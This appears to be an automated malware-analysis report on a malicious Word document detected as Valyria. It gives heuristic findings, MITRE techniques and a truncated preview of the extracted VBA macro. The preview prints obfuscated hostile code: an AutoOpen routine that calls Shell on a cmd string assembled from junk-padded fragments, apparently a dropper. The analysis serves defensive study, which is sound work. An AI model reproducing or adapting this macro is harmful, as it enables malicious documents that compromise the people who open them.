MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen function, which is a common technique for initial execution. The macro attempts to construct and execute a command using the 'cm' string and other variables, indicating a downloader or dropper functionality. The ClamAV detection and heuristic firings strongly suggest malicious intent, likely related to the Valyria malware family, although specific attribution is not possible from the provided evidence.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6712827-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6712827-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 31960 bytes |
SHA-256: b1b98481aac251f728a9e70c449e18228db60ecc46a968b181fb385f0040be2f |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OjiMoDTNl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
FHwnpS = Atn(69628 + aNiANi / wKMtWJ - iCzdJ)
MJTFih = Atn(bDzDNz * IwqGiV / 62882 + JpvvB)
nfNmWE = 58
Shell@ CVar("cm") + jjYKiqiLQlYSv + RGzbdwiorWDd + NhwcdcrziYZ + ZcLRb + QzTiJqF + fqFSQDhFo + QoTMnhQ + GXHHtuMd + DQYhjXbAtiu + rUivwsYUzZf + HzOluBGZIf + ccrDPXzfwO + LQHzisX + ZAjzStwdX + TqKbONw + KHZNjCpQBJn + afNRJwW + dEqsD + IKVLmsX + fjKGqjdXAU + DkTuWnNG + QaXXNLZ + lKCXsfph + SLuzoUo + QGlOaCEQ + msiGofta + iJiipTnwYB + aiNNzXhAU + Jqpmp + bliMw + HKdHD + EdjpkHL + bGGnIClAs + hcIiaMncm + rtvRlQAb + avmqHrHA + GGfjbRdzlGH + ViifQjiwwk + COGMiUC + usOin + NOjqDAXQz + tjwuaIoziKm, 676903548 - 676903548
tPUqa = sjtdtT
TJSfwT = Oct(210856442)
End Sub
Attribute VB_Name = "GjSMNPcZCaidw"
Function NhwcdcrziYZ()
On Error Resume Next
OZsnRz = CSng(314164836)
RzzTi = 7
Tnlkis = "d " + " " + " /c " + " c" + "Md " + "/v:on /R" + " " + CStr(Chr(mPZzHlOuGXB + FVavaDQsO + 34 + CKRdlUuhpu + XEbzJhi)) + "set _~?"
tmGai = 6
wwtrVJTL = "=__/-\//_-" + "\\_/\- _/-" + "\_/\" + "/\__\" + "--- -/\" + "/" + "//_-_-"
aGwkdjrZUCp = "-_\" + "_\ //\\_\"
vKFlO = Sqr(335)
ijTYjl = zRnErQ
UqiXwE = "_/" + "-\_" + "-_-- //" + "\\\" + "_\-_" + "--_/_/ /"
YGfwlw = ChrB(7)
ECBiJ = Rnd(517)
jhjzcZEN = "_" + "\-\/-\--\"
ViVPV = 256054176
oIozLW = Tan(FwSKPc)
lMoBGvA = "/___ \_/" + "--_/--" + "\//\" + "_"
GFYiBTko = "\ /_\" + "-/_-\\//\" + "-_- __\__\" + "\"
FjSDujPAP = "/\-/--" + "-/ " + "_//-_-/--/"
VPCdzj = Int(XhElZj)
GZPzLR = CSng(Wpzaz - pEwhR * 92509 * qidvfa)
crowh = hawYZn
DWIBhQAEpc = "_\\\\ \" + "_/" + "_--" + "-_\//-\\_" + " \-" + "/_-/-"
NhwcdcrziYZ = Tnlkis + wwtrVJTL + aGwkdjrZUCp + UqiXwE + jhjzcZEN + lMoBGvA + GFYiBTko + FjSDujPAP + DWIBhQAEpc
SloDu = CDate(KdPYHd / IrItu + 26046 / tCbzh)
End Function
Function ZcLRb()
On Error Resume Next
LHwKic = 8394
UjfdWw = "__\" + "\" + "-/_/"
kCXEYN = CDate(YwUYMd + pJiaPK)
onaSH = Hex(223)
YcirSULsR = " _\-" + "-\-_\\/_"
aCEJIr = 286450591
qdHON = iGFAbw
UoAYk = lXhbIA
jtdhsai = "_/-/ _-/\-"
vOFSUrffjDo = "\/-/" + "_" + "\_"
ZcLRb = UjfdWw + YcirSULsR + jtdhsai + vOFSUrffjDo
TYzTZ = bJSlE
End Function
Function QzTiJqF()
On Error Resume Next
jRvDZL = BtiGiO
woqPP = CSng(CKjWv)
unpCv = "/_- -\_\" + "/" + "\_-/__\-/-" + " \-" + "///--/_" + "\"
dJhbVZ = 3320
tUKhRi = Round(65)
uwdhTmAAU = "-_\\_ " + "/-" + "-" + "\\/\/_/_" + "__-- __"
UbNddOJ = "_\_\\\//-/" + "--/}-/"
FHiMKi = "-\" + "\__/" + "_/_\\"
BMZtWmSzw = "/" + "-}\\\-_/\" + "_/-_/-/" + "_{\_-_/" + "_/\/_--\"
VBwhTZMYj = "-/h\/-//_" + "\-\/-"
rsJVzN = 286360019
WdGPji = Chr(66)
MQUYC = ChrB(JRRuWE)
hqWCHbVVfc = "-___" + "c___-\\-/" + "\-"
rTbDW = Oct(18349 - jvtnw)
QMqNZE = Sin(wpswj)
CriGa = CByte(31)
hrqLPMICckF = "\///_t\-" + "\\--_/_" + "-__//" + "/" + "a_--/_"
QzTiJqF = unpCv + uwdhTmAAU + UbNddOJ + FHiMKi + BMZtWmSzw + VBwhTZMYj + hqWCHbVVfc + hrqLPMICckF
Faawtj = Hex(48557 * PuNpAh * 61357 / HrKsij)
End Function
Function fqFSQDhFo()
On Error Resume Next
OdELh = Int(35)
MUHPmb = ChrB(21877 + ZJdDWC)
sUnUEsQ = "\\/\_\-/-_" + "c_//_\-_-/" + "/--" + "\" + "_\}\_-/\_/"
iVNRHwjEGR = "_\" + "--\/" + "-/;_-\\" + "_-//_\/_-" + "\" + "/k\//\-_\_"
qwiuX = Rnd(30)
VojiG = CStr(60)
QDPZDBFVLb = "_/" + "-" + "--_/a-\"
WXdfaQ = Log(568)
VhYrpssEWw = "\/-\/" + "-_\-_/__" + "e/-\_\\-/_" + "\" + "-_/-_r\-_-" + "\_-/-_\" + "_/"
HFIZwvQj = "//b\/_\-"
fqFSQDhFo = sUnUEsQ + iVNRHwjEGR + QDPZDBFVLb + VhYrpssEWw + HFIZwvQj
fSUGBQ = 20
End Function
Function QoTMnhQ()
On Error Resume Next
sUipv = Cos(Dltzuj)
qvhwZ = 390
PcBfObcjjuH = "-\_-_" + "/\/_" + "-;///-_/\" + "\-\_-\" + "__I/-_" + "\-_-" + "-/__\"
uAMlcAGIw = "/\\d" + "_\_\/-_/-\"
lS
... (truncated)
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